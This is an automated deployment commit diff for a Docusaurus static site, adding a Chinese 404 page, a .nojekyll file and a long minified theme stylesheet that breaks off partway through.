commit 27bca887548682283c5ca12598987b90e81d57bd Author: github-actions[bot] Date: Sun Oct 18 12:43:38 2026 +0000 deploy: 2026-10-18T12:43:38Z [skip ci] diff --git a/.nojekyll b/.nojekyll new file mode 100644 index 0000000..e69de29 diff --git a/404.html b/404.html new file mode 100644 index 0000000..bdb0bd7 --- /dev/null +++ b/404.html @@ -0,0 +1,16 @@ + + + + + +找不到页面 | wjlin0 + + + + + + + +
跳到主要内容

找不到页面

我们找不到您要找的页面。

请联系原始链接来源网站的所有者,并告知他们链接已损坏。

+ + \ No newline at end of file diff --git a/assets/css/styles.ddbfe07c.css b/assets/css/styles.ddbfe07c.css new file mode 100644 index 0000000..4fe4781 --- /dev/null +++ b/assets/css/styles.ddbfe07c.css @@ -0,0 +1 @@ +@layer docusaurus.infima,docusaurus.theme-common,docusaurus.theme-classic,docusaurus.core,docusaurus.plugin-debug,docusaurus.theme-mermaid,docusaurus.theme-live-codeblock,docusaurus.theme-search-algolia.docsearch,docusaurus.theme-search-algolia;@layer docusaurus.infima{.col,.container{padding:0 var(--ifm-spacing-horizontal);width:100%}.markdown>h2,.markdown>h3,.markdown>h4,.markdown>h5,.markdown>h6{margin-bottom:calc(var(--ifm-heading-vertical-rhythm-bottom)*var(--ifm-leading))}.markdown li,body{word-wrap:break-word}body,ol ol,ol ul,ul ol,ul ul{margin:0}pre,table{overflow:auto}blockquote,pre{margin:0 0 var(--ifm-spacing-vertical)}.breadcrumbs__link,.button{transition-timing-function:var(--ifm-transition-timing-default)}.button,code{vertical-align:middle}.button--outline.button--active,.button--outline:active,.button--outline:hover,:root{--ifm-button-color:var(--ifm-font-color-base-inverse)}.menu__link:hover,a{transition:color var(--ifm-transition-fast) var(--ifm-transition-timing-default)}.navbar--dark,:root{--ifm-navbar-link-hover-color:var(--ifm-color-primary)}.menu,.navbar-sidebar{overflow-x:hidden}:root,html[data-theme=dark]{--ifm-color-emphasis-500:var(--ifm-color-gray-500)}:root{--ifm-color-scheme:light;--ifm-dark-value:10%;--ifm-darker-value:15%;--ifm-darkest-value:30%;--ifm-light-value:15%;--ifm-lighter-value:30%;--ifm-lightest-value:50%;--ifm-contrast-background-value:90%;--ifm-contrast-foreground-value:70%;--ifm-contrast-background-dark-value:70%;--ifm-contrast-foreground-dark-value:90%;--ifm-color-primary:#3578e5;--ifm-color-secondary:#ebedf0;--ifm-color-success:#00a400;--ifm-color-info:#54c7ec;--ifm-color-warning:#ffba00;--ifm-color-danger:#fa383e;--ifm-color-primary-dark:#306cce;--ifm-color-primary-darker:#2d66c3;--ifm-color-primary-darkest:#2554a0;--ifm-color-primary-light:#538ce9;--ifm-color-primary-lighter:#72a1ed;--ifm-color-primary-lightest:#9abcf2;--ifm-color-primary-contrast-background:#ebf2fc;--ifm-color-primary-contrast-foreground:#102445;--ifm-color-secondary-dark:#d4d5d8;--ifm-color-secondary-darker:#c8c9cc;--ifm-color-secondary-darkest:#a4a6a8;--ifm-color-secondary-light:#eef0f2;--ifm-color-secondary-lighter:#f1f2f5;--ifm-color-secondary-lightest:#f5f6f8;--ifm-color-secondary-contrast-background:#fdfdfe;--ifm-color-secondary-contrast-foreground:#474748;--ifm-color-success-dark:#009400;--ifm-color-success-darker:#008b00;--ifm-color-success-darkest:#007300;--ifm-color-success-light:#26b226;--ifm-color-success-lighter:#4dbf4d;--ifm-color-success-lightest:#80d280;--ifm-color-success-contrast-background:#e6f6e6;--ifm-color-success-contrast-foreground:#003100;--ifm-color-info-dark:#4cb3d4;--ifm-color-info-darker:#47a9c9;--ifm-color-info-darkest:#3b8ba5;--ifm-color-info-light:#6ecfef;--ifm-color-info-lighter:#87d8f2;--ifm-color-info-lightest:#aae3f6;--ifm-color-info-contrast-background:#eef9fd;--ifm-color-info-contrast-foreground:#193c47;--ifm-color-warning-dark:#e6a700;--ifm-color-warning-darker:#d99e00;--ifm-color-warning-darkest:#b38200;--ifm-color-warning-light:#ffc426;--ifm-color-warning-lighter:#ffcf4d;--ifm-color-warning-lightest:#ffdd80;--ifm-color-warning-contrast-background:#fff8e6;--ifm-color-warning-contrast-foreground:#4d3800;--ifm-color-danger-dark:#e13238;--ifm-color-danger-darker:#d53035;--ifm-color-danger-darkest:#af272b;--ifm-color-danger-light:#fb565b;--ifm-color-danger-lighter:#fb7478;--ifm-color-danger-lightest:#fd9c9f;--ifm-color-danger-contrast-background:#ffebec;--ifm-color-danger-contrast-foreground:#4b1113;--ifm-color-white:#fff;--ifm-color-black:#000;--ifm-color-gray-0:var(--ifm-color-white);--ifm-color-gray-100:#f5f6f7;--ifm-color-gray-200:#ebedf0;--ifm-color-gray-300:#dadde1;--ifm-color-gray-400:#ccd0d5;--ifm-color-gray-500:#bec3c9;--ifm-color-gray-600:#8d949e;--ifm-color-gray-700:#606770;--ifm-color-gray-800:#444950;--ifm-color-gray-900:#1c1e21;--ifm-color-gray-1000:var(--ifm-color-black);--ifm-color-emphasis-0:var(--ifm-color-gray-0);--ifm-color-emphasis-100:var(--ifm-color-gray-100);--ifm-color-emphasis-200:var(--ifm-color-gray-200);--ifm-color-emphasis-300:var(--ifm-color-gray-300);--ifm-color-emphasis-400:var(--ifm-color-gray-400);--ifm-color-emphasis-600:var(--ifm-color-gray-600);--ifm-color-emphasis-700:var(--ifm-color-gray-700);--ifm-color-emphasis-800:var(--ifm-color-gray-800);--ifm-color-emphasis-900:var(--ifm-color-gray-900);--ifm-color-emphasis-1000:var(--ifm-color-gray-1000);--ifm-color-content:var(--ifm-color-emphasis-900);--ifm-color-content-inverse:var(--ifm-color-emphasis-0);--ifm-color-content-secondary:#525860;--ifm-background-color:#0000;--ifm-background-surface-color:var(--ifm-color-content-inverse);--ifm-global-border-width:1px;--ifm-global-radius:0.4rem;--ifm-hover-overlay:#0000000d;--ifm-font-color-base:var(--ifm-color-content);--ifm-font-color-base-inverse:var(--ifm-color-content-inverse);--ifm-font-color-secondary:var(--ifm-color-content-secondary);--ifm-font-family-base:system-ui,-apple-system,Segoe UI,Roboto,Ubuntu,Cantarell,Noto Sans,sans-serif,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";--ifm-font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;--ifm-font-size-base:100%;--ifm-font-weight-light:300;--ifm-font-weight-normal:400;--ifm-font-weight-semibold:500;--ifm-font-weight-bold:700;--ifm-font-weight-base:var(--ifm-font-weight-normal);--ifm-line-height-base:1.65;--ifm-global-spacing:1rem;--ifm-spacing-vertical:var(--ifm-global-spacing);--ifm-spacing-horizontal:var(--ifm-global-spacing);--ifm-transition-fast:200ms;--ifm-transition-slow:400ms;--ifm-transition-timing-default:cubic-bezier(0.08,0.52,0.52,1);--ifm-global-shadow-lw:0 1px 2px 0 #0000001a;--ifm-global-shadow-md:0 5px 40px #0003;--ifm-global-shadow-tl:0 12px 28px 0 #0003,0 2px 4px 0 #0000001a;--ifm-z-index-dropdown:100;--ifm-z-index-fixed:200;--ifm-z-index-overlay:400;--ifm-container-width:1140px;--ifm-container-width-xl:1320px;--ifm-code-background:#f6f7f8;--ifm-code-border-radius:var(--ifm-global-radius);--ifm-code-font-size:90%;--ifm-code-padding-horizontal:0.1rem;--ifm-code-padding-vertical:0.1rem;--ifm-pre-background:var(--ifm-code-background);--ifm-pre-border-radius:var(--ifm-code-border-radius);--ifm-pre-color:inherit;--ifm-pre-line-height:1.45;--ifm-pre-padding:1rem;--ifm-heading-color:inherit;--ifm-heading-margin-top:0;--ifm-heading-margin-bottom:var(--ifm-spacing-vertical);--ifm-heading-font-family:var(--ifm-font-family-base);--ifm-heading-font-weight:var(--ifm-font-weight-bold);--ifm-heading-line-height:1.25;--ifm-h1-font-size:2rem;--ifm-h2-font-size:1.5rem;--ifm-h3-font-size:1.25rem;--ifm-h4-font-size:1rem;--ifm-h5-font-size:0.875rem;--ifm-h6-font-size:0.85rem;--ifm-image-alignment-padding:1.25rem;--ifm-leading-desktop:1.25;--ifm-leading:calc(var(--ifm-leading-desktop)*1rem);--ifm-list-left-padding:2rem;--ifm-list-margin:1rem;--ifm-list-item-margin:0.25rem;--ifm-list-paragraph-margin:1rem;--ifm-table-cell-padding:0.75rem;--ifm-table-background:#0000;--ifm-table-stripe-background:#00000008;--ifm-table-border-width:1px;--ifm-table-border-color:var(--ifm-color-emphasis-300);--ifm-table-head-background:inherit;--ifm-table-head-color:inherit;--ifm-table-head-font-weight:var(--ifm-font-weight-bold);--ifm-table-cell-color:inherit;--ifm-link-color:var(--ifm-color-primary);--ifm-link-decoration:none;--ifm-link-hover-color:var(--ifm-link-color);--ifm-link-hover-decoration:underline;--ifm-paragraph-margin-bottom:var(--ifm-leading);--ifm-blockquote-font-size:var(--ifm-font-size-base);--ifm-blockquote-border-left-width:2px;--ifm-blockquote-padding-horizontal:var(--ifm-spacing-horizontal);--ifm-blockquote-padding-vertical:0;--ifm-blockquote-shadow:none;--ifm-blockquote-color:var(--ifm-color-emphasis-800);--ifm-blockquote-border-color:var(--ifm-color-emphasis-300);--ifm-hr-background-color:var(--ifm-color-emphasis-500);--ifm-hr-height:1px;--ifm-hr-margin-vertical:1.5rem;--ifm-scrollbar-size:7px;--ifm-scrollbar-track-background-color:#f1f1f1;--ifm-scrollbar-thumb-background-color:silver;--ifm-scrollbar-thumb-hover-background-color:#a7a7a7;--ifm-alert-background-color:inherit;--ifm-alert-border-color:inherit;--ifm-alert-border-radius:var(--ifm-global-radius);--ifm-alert-border-width:0px;--ifm-alert-border-left-width:5px;--ifm-alert-color:var(--ifm-font-color-base);--ifm-alert-padding-horizontal:var(--ifm-spacing-horizontal);--ifm-alert-padding-vertical:var(--ifm-spacing-vertical);--ifm-alert-shadow:var(--ifm-global-shadow-lw);--ifm-avatar-intro-margin:1rem;--ifm-avatar-intro-alignment:inherit;--ifm-avatar-photo-size:3rem;--ifm-badge-background-color:inherit;--ifm-badge-border-color:inherit;--ifm-badge-border-radius:var(--ifm-global-radius);--ifm-badge-border-width:var(--ifm-global-border-width);--ifm-badge-color:var(--ifm-color-white);--ifm-badge-padding-horizontal:calc(var(--ifm-spacing-horizontal)*0.5);--ifm-badge-padding-vertical:calc(var(--ifm-spacing-vertical)*0.25);--ifm-breadcrumb-border-radius:1.5rem;--ifm-breadcrumb-spacing:0.5rem;--ifm-breadcrumb-color-active:var(--ifm-color-primary);--ifm-breadcrumb-item-background-active:var(--ifm-hover-overlay);--ifm-breadcrumb-padding-horizontal:0.8rem;--ifm-breadcrumb-padding-vertical:0.4rem;--ifm-breadcrumb-size-multiplier:1;--ifm-breadcrumb-separator:url('data:image/svg+xml;utf8,');--ifm-breadcrumb-separator-filter:none;--ifm-breadcrumb-separator-size:0.5rem;--ifm-breadcrumb-separator-size-multiplier:1.25;--ifm-button-background-color:inherit;--ifm-button-border-color:var(--ifm-button-background-color);--ifm-button-border-width:var(--ifm-global-border-width);--ifm-button-font-weight:var(--ifm-font-weight-bold);--ifm-button-padding-horizontal:1.5rem;--ifm-button-padding-vertical:0.375rem;--ifm-button-size-multiplier:1;--ifm-button-transition-duration:var(--ifm-transition-fast);--ifm-button-border-radius:calc(var(--ifm-global-radius)*var(--ifm-button-size-multiplier));--ifm-button-group-spacing:2px;--ifm-card-background-color:var(--ifm-background-surface-color);--ifm-card-border-radius:calc(var(--ifm-global-radius)*2);--ifm-card-horizontal-spacing:var(--ifm-global-spacing);--ifm-card-vertical-spacing:var(--ifm-global-spacing);--ifm-toc-border-color:var(--ifm-color-emphasis-300);--ifm-toc-link-color:var(--ifm-color-content-secondary);--ifm-toc-padding-vertical:0.5rem;--ifm-toc-padding-horizontal:0.5rem;--ifm-dropdown-background-color:var(--ifm-background-surface-color);--ifm-dropdown-font-weight:var(--ifm-font-weight-semibold);--ifm-dropdown-link-color:var(--ifm-font-color-base);--ifm-dropdown-hover-background-color:var(--ifm-hover-overlay);--ifm-footer-background-color:var(--ifm-color-emphasis-100);--ifm-footer-color:inherit;--ifm-footer-link-color:var(--ifm-color-emphasis-700);--ifm-footer-link-hover-color:var(--ifm-color-primary);--ifm-footer-link-horizontal-spacing:0.5rem;--ifm-footer-padding-horizontal:calc(var(--ifm-spacing-horizontal)*2);--ifm-footer-padding-vertical:calc(var(--ifm-spacing-vertical)*2);--ifm-footer-title-color:inherit;--ifm-footer-logo-max-width:min(30rem,90vw);--ifm-hero-background-color:var(--ifm-background-surface-color);--ifm-hero-text-color:var(--ifm-color-emphasis-800);--ifm-menu-color:var(--ifm-color-emphasis-700);--ifm-menu-color-active:var(--ifm-color-primary);--ifm-menu-color-background-active:var(--ifm-hover-overlay);--ifm-menu-color-background-hover:var(--ifm-hover-overlay);--ifm-menu-link-padding-horizontal:0.75rem;--ifm-menu-link-padding-vertical:0.375rem;--ifm-menu-link-sublist-icon:url('data:image/svg+xml;utf8,');--ifm-menu-link-sublist-icon-filter:none;--ifm-navbar-background-color:var(--ifm-background-surface-color);--ifm-navbar-height:3.75rem;--ifm-navbar-item-padding-horizontal:0.75rem;--ifm-navbar-item-padding-vertical:0.25rem;--ifm-navbar-link-color:var(--ifm-font-color-base);--ifm-navbar-link-active-color:var(--ifm-link-color);--ifm-navbar-padding-horizontal:var(--ifm-spacing-horizontal);--ifm-navbar-padding-vertical:calc(var(--ifm-spacing-vertical)*0.5);--ifm-navbar-shadow:var(--ifm-global-shadow-lw);--ifm-navbar-search-input-background-color:var(--ifm-color-emphasis-200);--ifm-navbar-search-input-color:var(--ifm-color-emphasis-800);--ifm-navbar-search-input-placeholder-color:var(--ifm-color-emphasis-500);--ifm-navbar-search-input-icon:url('data:image/svg+xml;utf8,');--ifm-navbar-sidebar-width:83vw;--ifm-pagination-border-radius:var(--ifm-global-radius);--ifm-pagination-color-active:var(--ifm-color-primary);--ifm-pagination-font-size:1rem;--ifm-pagination-item-active-background:var(--ifm-hover-overlay);--ifm-pagination-page-spacing:0.2em;--ifm-pagination-padding-horizontal:calc(var(--ifm-spacing-horizontal)*1);--ifm-pagination-padding-vertical:calc(var(--ifm-spacing-vertical)*0.25);--ifm-pagination-nav-border-radius:var(--ifm-global-radius);--ifm-pagination-nav-color-hover:var(--ifm-color-primary);--ifm-pills-color-active:var(--ifm-color-primary);--ifm-pills-color-background-active:var(--ifm-hover-overlay);--ifm-pills-spacing:0.125rem;--ifm-tabs-color:var(--ifm-font-color-secondary);--ifm-tabs-color-active:var(--ifm-color-primary);--ifm-tabs-color-active-border:var(--ifm-tabs-color-active);--ifm-tabs-padding-horizontal:1rem;--ifm-tabs-padding-vertical:1rem}.badge--danger,.badge--info,.badge--primary,.badge--secondary,.badge--success,.badge--warning{--ifm-badge-border-color:var(--ifm-badge-background-color)}.button--link,.button--outline{--ifm-button-background-color:#0000}*{box-sizing:border-box}html{background-color:var(--ifm-background-color);color:var(--ifm-font-color-base);color-scheme:var(--ifm-color-scheme);font:var(--ifm-font-size-base)/var(--ifm-line-height-base) var(--ifm-font-family-base);-webkit-font-smoothing:antialiased;-webkit-tap-highlight-color:transparent;text-rendering:optimizelegibility;-webkit-text-size-adjust:100%;text-size-adjust:100%}iframe{border:0;color-scheme:auto}.container{margin:0 auto;max-width:var(--ifm-container-width)}.container--fluid{max-width:inherit}.row{display:flex;flex-wrap:wrap;margin:0 calc(var(--ifm-spacing-horizontal)*-1)}.margin-bottom--none,.margin-vert--none,.markdown>:last-child{margin-bottom:0!important}.margin-top--none,.margin-vert--none{margin-top:0!important}.row--no-gutters{margin-left:0;margin-right:0}.margin-horiz--none,.margin-right--none{margin-right:0!important}.row--no-gutters>.col{padding-left:0;padding-right:0}.row--align-top{align-items:flex-start}.row--align-bottom{align-items:flex-end}.row--align-center{align-items:center}.row--align-stretch{align-items:stretch}.row--align-baseline{align-items:baseline}.col{--ifm-col-width:100%;flex:1 0;margin-left:0;max-width:var(--ifm-col-width)}.padding-bottom--none,.padding-vert--none{padding-bottom:0!important}.padding-top--none,.padding-vert--none{padding-top:0!important}.padding-horiz--none,.padding-left--none{padding-left:0!important}.padding-horiz--none,.padding-right--none{padding-right:0!important}.col[class*=col--]{flex:0 0 var(--ifm-col-width)}.col--1{--ifm-col-width:8.33333%}.col--offset-1{margin-left:8.33333%}.col--2{--ifm-col-width:16.66667%}.col--offset-2{margin-left:16.66667%}.col--3{--ifm-col-width:25%}.col--offset-3{margin-left:25%}.col--4{--ifm-col-width:33.33333%}.col--offset-4{margin-left:33.33333%}.col--5{--ifm-col-width:41.66667%}.col--offset-5{margin-left:41.66667%}.col--6{--ifm-col-width:50%}.col--offset-6{margin-left:50%}.col--7{--ifm-col-width:58.33333%}.col--offset-7{margin-left:58.33333%}.col--8{--ifm-col-width:66.66667%}.col--offset-8{margin-left:66.66667%}.col--9{--ifm-col-width:75%}.col--offset-9{margin-left:75%}.col--10{--ifm-col-width:83.33333%}.col--offset-10{margin-left:83.33333%}.col--11{--ifm-col-width:91.66667%}.col--offset-11{margin-left:91.66667%}.col--12{--ifm-col-width:100%}.col--offset-12{margin-left:100%}.margin-horiz--none,.margin-left--none{margin-left:0!important}.margin--none{margin:0!important}.margin-bottom--xs,.margin-vert--xs{margin-bottom:.25rem!important}.margin-top--xs,.margin-vert--xs{margin-top:.25rem!important}.margin-horiz--xs,.margin-left--xs{margin-left:.25rem!important}.margin-horiz--xs,.margin-right--xs{margin-right:.25rem!important}.margin--xs{margin:.25rem!important}.margin-bottom--sm,.margin-vert--sm{margin-bottom:.5rem!important}.margin-top--sm,.margin-vert--sm{margin-top:.5rem!important}.margin-horiz--sm,.margin-left--sm{margin-left:.5rem!important}.margin-horiz--sm,.margin-right--sm{margin-right:.5rem!important}.margin--sm{margin:.5rem!important}.margin-bottom--md,.margin-vert--md{margin-bottom:1rem!important}.margin-top--md,.margin-vert--md{margin-top:1rem!important}.margin-horiz--md,.margin-left--md{margin-left:1rem!important}.margin-horiz--md,.margin-right--md{margin-right:1rem!important}.margin--md{margin:1rem!important}.margin-bottom--lg,.margin-vert--lg{margin-bottom:2rem!important}.margin-top--lg,.margin-vert--lg{margin-top:2rem!important}.margin-horiz--lg,.margin-left--lg{margin-left:2rem!important}.margin-horiz--lg,.margin-right--lg{margin-right:2rem!important}.margin--lg{margin:2rem!important}.margin-bottom--xl,.margin-vert--xl{margin-bottom:5rem!important}.margin-top--xl,.margin-vert--xl{margin-top:5rem!important}.margin-horiz--xl,.margin-left--xl{margin-left:5rem!important}.margin-horiz--xl,.margin-right--xl{margin-right:5rem!important}.margin--xl{margin:5rem!important}.padding--none{padding:0!important}.padding-bottom--xs,.padding-vert--xs{padding-bottom:.25rem!important}.padding-top--xs,.padding-vert--xs{padding-top:.25rem!important}.padding-horiz--xs,.padding-left--xs{padding-left:.25rem!important}.padding-horiz--xs,.padding-right--xs{padding-right:.25rem!important}.padding--xs{padding:.25rem!important}.padding-bottom--sm,.padding-vert--sm{padding-bottom:.5rem!important}.padding-top--sm,.padding-vert--sm{padding-top:.5rem!important}.padding-horiz--sm,.padding-left--sm{padding-left:.5rem!important}.padding-horiz--sm,.padding-right--sm{padding-right:.5rem!important}.padding--sm{padding:.5rem!important}.padding-bottom--md,.padding-vert--md{padding-bottom:1rem!important}.padding-top--md,.padding-vert--md{padding-top:1rem!important}.padding-horiz--md,.padding-left--md{padding-left:1rem!important}.padding-horiz--md,.padding-right--md{padding-right:1rem!important}.padding--md{padding:1rem!important}.padding-bottom--lg,.padding-vert--lg{padding-bottom:2rem!important}.padding-top--lg,.padding-vert--lg{padding-top:2rem!important}.padding-horiz--lg,.padding-left--lg{padding-left:2rem!important}.padding-horiz--lg,.padding-right--lg{padding-right:2rem!important}.padding--lg{padding:2rem!important}.padding-bottom--xl,.padding-vert--xl{padding-bottom:5rem!important}.padding-top--xl,.padding-vert--xl{padding-top:5rem!important}.padding-horiz--xl,.padding-left--xl{padding-left:5rem!important}.padding-horiz--xl,.padding-right--xl{padding-right:5rem!important}.padding--xl{padding:5rem!important}code{background-color:var(--ifm-code-background);border:.1rem solid #0000001a;border-radius:var(--ifm-code-border-radius);font-family:var(--ifm-font-family-monospace);font-size:var(--ifm-code-font-size);padding:var(--ifm-code-padding-vertical) var(--ifm-code-padding-horizontal)}a code{color:inherit}pre{background-color:var(--ifm-pre-background);border-radius:var(--ifm-pre-border-radius);color:var(--ifm-pre-color);font:var(--ifm-code-font-size)/var(--ifm-pre-line-height) var(--ifm-font-family-monospace);padding:var(--ifm-pre-padding)}pre code{background-color:initial;border:none;font-size:100%;line-height:inherit;padding:0}kbd{background-color:var(--ifm-color-emphasis-0);border:1px solid var(--ifm-color-emphasis-400);border-radius:.2rem;box-shadow:inset 0 -1px 0 var(--ifm-color-emphasis-400);color:var(--ifm-color-emphasis-800);font:80% var(--ifm-font-family-monospace);padding:.15rem .3rem}h1,h2,h3,h4,h5,h6{color:var(--ifm-heading-color);font-family:var(--ifm-heading-font-family);font-weight:var(--ifm-heading-font-weight);line-height:var(--ifm-heading-line-height);margin:var(--ifm-heading-margin-top) 0 var(--ifm-heading-margin-bottom) 0}h1{font-size:var(--ifm-h1-font-size)}h2{font-size:var(--ifm-h2-font-size)}h3{font-size:var(--ifm-h3-font-size)}h4{font-size:var(--ifm-h4-font-size)}h5{font-size:var(--ifm-h5-font-size)}h6{font-size:var(--ifm-h6-font-size)}img{max-width:100%}img[align=right]{padding-left:var(--image-alignment-padding)}img[align=left]{padding-right:var(--image-alignment-padding)}.markdown{--ifm-h1-vertical-rhythm-top:3;--ifm-h2-vertical-rhythm-top:2;--ifm-h3-vertical-rhythm-top:1.5;--ifm-heading-vertical-rhythm-top:1.25;--ifm-h1-vertical-rhythm-bottom:1.25;--ifm-heading-vertical-rhythm-bottom:1}.markdown:after,.markdown:before{content:"";display:table}.markdown:after{clear:both}.markdown h1:first-child{--ifm-h1-font-size:3rem;margin-bottom:calc(var(--ifm-h1-vertical-rhythm-bottom)*var(--ifm-leading))}.markdown>h2{--ifm-h2-font-size:2rem;margin-top:calc(var(--ifm-h2-vertical-rhythm-top)*var(--ifm-leading))}.markdown>h3{--ifm-h3-font-size:1.5rem;margin-top:calc(var(--ifm-h3-vertical-rhythm-top)*var(--ifm-leading))}.markdown>h4,.markdown>h5,.markdown>h6{margin-top:calc(var(--ifm-heading-vertical-rhythm-top)*var(--ifm-leading))}.markdown>p,.markdown>pre,.markdown>ul{margin-bottom:var(--ifm-leading)}.markdown li>p{margin-top:var(--ifm-list-paragraph-margin)}.markdown li+li{margin-top:var(--ifm-list-item-margin)}ol,ul{margin:0 0 var(--ifm-list-margin);padding-left:var(--ifm-list-left-padding)}ol ol,ul ol{list-style-type:lower-roman}ol ol ol,ol ul ol,ul ol ol,ul ul ol{list-style-type:lower-alpha}table{border-collapse:collapse;display:block;margin-bottom:var(--ifm-spacing-vertical)}table thead tr{border-bottom:2px solid var(--ifm-table-border-color)}table thead,table tr:nth-child(2n){background-color:var(--ifm-table-stripe-background)}table tr{background-color:var(--ifm-table-background);border-top:var(--ifm-table-border-width) solid var(--ifm-table-border-color)}table td,table th{border:var(--ifm-table-border-width) solid var(--ifm-table-border-color);padding:var(--ifm-table-cell-padding)}table th{background-color:var(--ifm-table-head-background);color:var(--ifm-table-head-color);font-weight:var(--ifm-table-head-font-weight)}table td{color:var(--ifm-table-cell-color)}strong{font-weight:var(--ifm-font-weight-bold)}a{color:var(--ifm-link-color);text-decoration:var(--ifm-link-decoration)}a:hover{color:var(--ifm-link-hover-color);text-decoration:var(--ifm-link-hover-decoration)}.button:hover,.text--no-decoration,.text--no-decoration:hover,a:not([href]){-webkit-text-decoration:none;text-decoration:none}p{margin:0 0 var(--ifm-paragraph-margin-bottom)}blockquote{border-left:var(--ifm-blockquote-border-left-width) solid var(--ifm-blockquote-border-color);box-shadow:var(--ifm-blockquote-shadow);color:var(--ifm-blockquote-color);font-size:var(--ifm-blockquote-font-size);padding:var(--ifm-blockquote-padding-vertical) var(--ifm-blockquote-padding-horizontal)}blockquote>:first-child{margin-top:0}blockquote>:last-child{margin-bottom:0}hr{background-color:var(--ifm-hr-background-color);border:0;height:var(--ifm-hr-height);margin:var(--ifm-hr-margin-vertical) 0}.shadow--lw{box-shadow:var(--ifm-global-shadow-lw)!important}.shadow--md{box-shadow:var(--ifm-global-shadow-md)!important}.shadow--tl{box-shadow:var(--ifm-global-shadow-tl)!important}.text--primary{color:var(--ifm-color-primary)}.text--secondary{color:var(--ifm-color-secondary)}.text--success{color:var(--ifm-color-success)}.text--info{color:var(--ifm-color-info)}.text--warning{color:var(--ifm-color-warning)}.text--danger{color:var(--ifm-color-danger)}.text--center{text-align:center}.text--left{text-align:left}.text--justify{text-align:justify}.text--right{text-align:right}.text--capitalize{text-transform:capitalize}.text--lowercase{text-transform:lowercase}.alert__heading,.text--uppercase{text-transform:uppercase}.text--light{font-weight:var(--ifm-font-weight-light)}.text--normal{font-weight:var(--ifm-font-weight-normal)}.text--semibold{font-weight:var(--ifm-font-weight-semibold)}.text--bold{font-weight:var(--ifm-font-weight-bold)}.text--italic{font-style:italic}.text--truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.text--break{word-wrap:break-word!important;word-break:break-word!important}.clean-btn{background:none;border:none;color:inherit;cursor:pointer;font-family:inherit;padding:0}.alert,.alert .close{color:var(--ifm-alert-foreground-color)}.clean-list{list-style:none;padding-left:0}.alert--primary{--ifm-alert-background-color:var(--ifm-color-primary-contrast-background);--ifm-alert-background-color-highlight:#3578e526;--ifm-alert-foreground-color:var(--ifm-color-primary-contrast-foreground);--ifm-alert-border-color:var(--ifm-color-primary-dark)}.alert--secondary{--ifm-alert-background-color:var(--ifm-color-secondary-contrast-background);--ifm-alert-background-color-highlight:#ebedf026;--ifm-alert-foreground-color:var(--ifm-color-secondary-contrast-foreground);--ifm-alert-border-color:var(--ifm-color-secondary-dark)}.alert--success{--ifm-alert-background-color:var(--ifm-color-success-contrast-background);--ifm-alert-background-color-highlight:#00a40026;--ifm-alert-foreground-color:var(--ifm-color-success-contrast-foreground);--ifm-alert-border-color:var(--ifm-color-success-dark)}.alert--info{--ifm-alert-background-color:var(--ifm-color-info-contrast-background);--ifm-alert-background-color-highlight:#54c7ec26;--ifm-alert-foreground-color:var(--ifm-color-info-contrast-foreground);--ifm-alert-border-color:var(--ifm-color-info-dark)}.alert--warning{--ifm-alert-background-color:var(--ifm-color-warning-contrast-background);--ifm-alert-background-color-highlight:#ffba0026;--ifm-alert-foreground-color:var(--ifm-color-warning-contrast-foreground);--ifm-alert-border-color:var(--ifm-color-warning-dark)}.alert--danger{--ifm-alert-background-color:var(--ifm-color-danger-contrast-background);--ifm-alert-background-color-highlight:#fa383e26;--ifm-alert-foreground-color:var(--ifm-color-danger-contrast-foreground);--ifm-alert-border-color:var(--ifm-color-danger-dark)}.alert{--ifm-code-background:var(--ifm-alert-background-color-highlight);--ifm-link-color:var(--ifm-alert-foreground-color);--ifm-link-hover-color:var(--ifm-alert-foreground-color);--ifm-link-decoration:underline;--ifm-tabs-color:var(--ifm-alert-foreground-color);--ifm-tabs-color-active:var(--ifm-alert-foreground-color);--ifm-tabs-color-active-border:var(--ifm-alert-border-color);background-color:var(--ifm-alert-background-color);border:var(--ifm-alert-border-width) solid var(--ifm-alert-border-color);border-left-width:var(--ifm-alert-border-left-width);border-radius:var(--ifm-alert-border-radius);box-shadow:var(--ifm-alert-shadow);padding:var(--ifm-alert-padding-vertical) var(--ifm-alert-padding-horizontal)}.alert__heading{align-items:center;display:flex;font:700 var(--ifm-h5-font-size)/var(--ifm-heading-line-height) var(--ifm-heading-font-family);margin-bottom:.5rem}.alert__icon{display:inline-flex;margin-right:.4em}.alert__icon svg{fill:var(--ifm-alert-foreground-color);stroke:var(--ifm-alert-foreground-color);stroke-width:0}.alert .close{margin:calc(var(--ifm-alert-padding-vertical)*-1) calc(var(--ifm-alert-padding-horizontal)*-1) 0 0;opacity:.75}.alert .close:focus,.alert .close:hover{opacity:1}.alert a{text-decoration-color:var(--ifm-alert-border-color)}.alert a:hover{text-decoration-thickness:2px}.avatar{column-gap:var(--ifm-avatar-intro-margin);display:flex}.avatar__photo{border-radius:50%;display:block;height:var(--ifm-avatar-photo-size);overflow:hidden;width:var(--ifm-avatar-photo-size)}.card--full-height,.navbar__logo img{height:100%}.avatar__photo--sm{--ifm-avatar-photo-size:2rem}.avatar__photo--lg{--ifm-avatar-photo-size:4rem}.avatar__photo--xl{--ifm-avatar-photo-size:6rem}.avatar__intro{display:flex;flex:1 1;flex-direction:column;justify-content:center;text-align:var(--ifm-avatar-intro-alignment)}.badge,.breadcrumbs__item,.breadcrumbs__link,.button,.dropdown>.navbar__link:after{display:inline-block}.avatar__name{font:700 var(--ifm-h4-font-size)/var(--ifm-heading-line-height) var(--ifm-font-family-base)}.avatar__subtitle{margin-top:.25rem}.avatar--vertical{--ifm-avatar-intro-alignment:center;--ifm-avatar-intro-margin:0.5rem;align-items:center;flex-direction:column}.badge{background-color:var(--ifm-badge-background-color);border:var(--ifm-badge-border-width) solid var(--ifm-badge-border-color);border-radius:var(--ifm-badge-border-radius);color:var(--ifm-badge-color);font-size:75%;font-weight:var(--ifm-font-weight-bold);line-height:1;padding:var(--ifm-badge-padding-vertical) 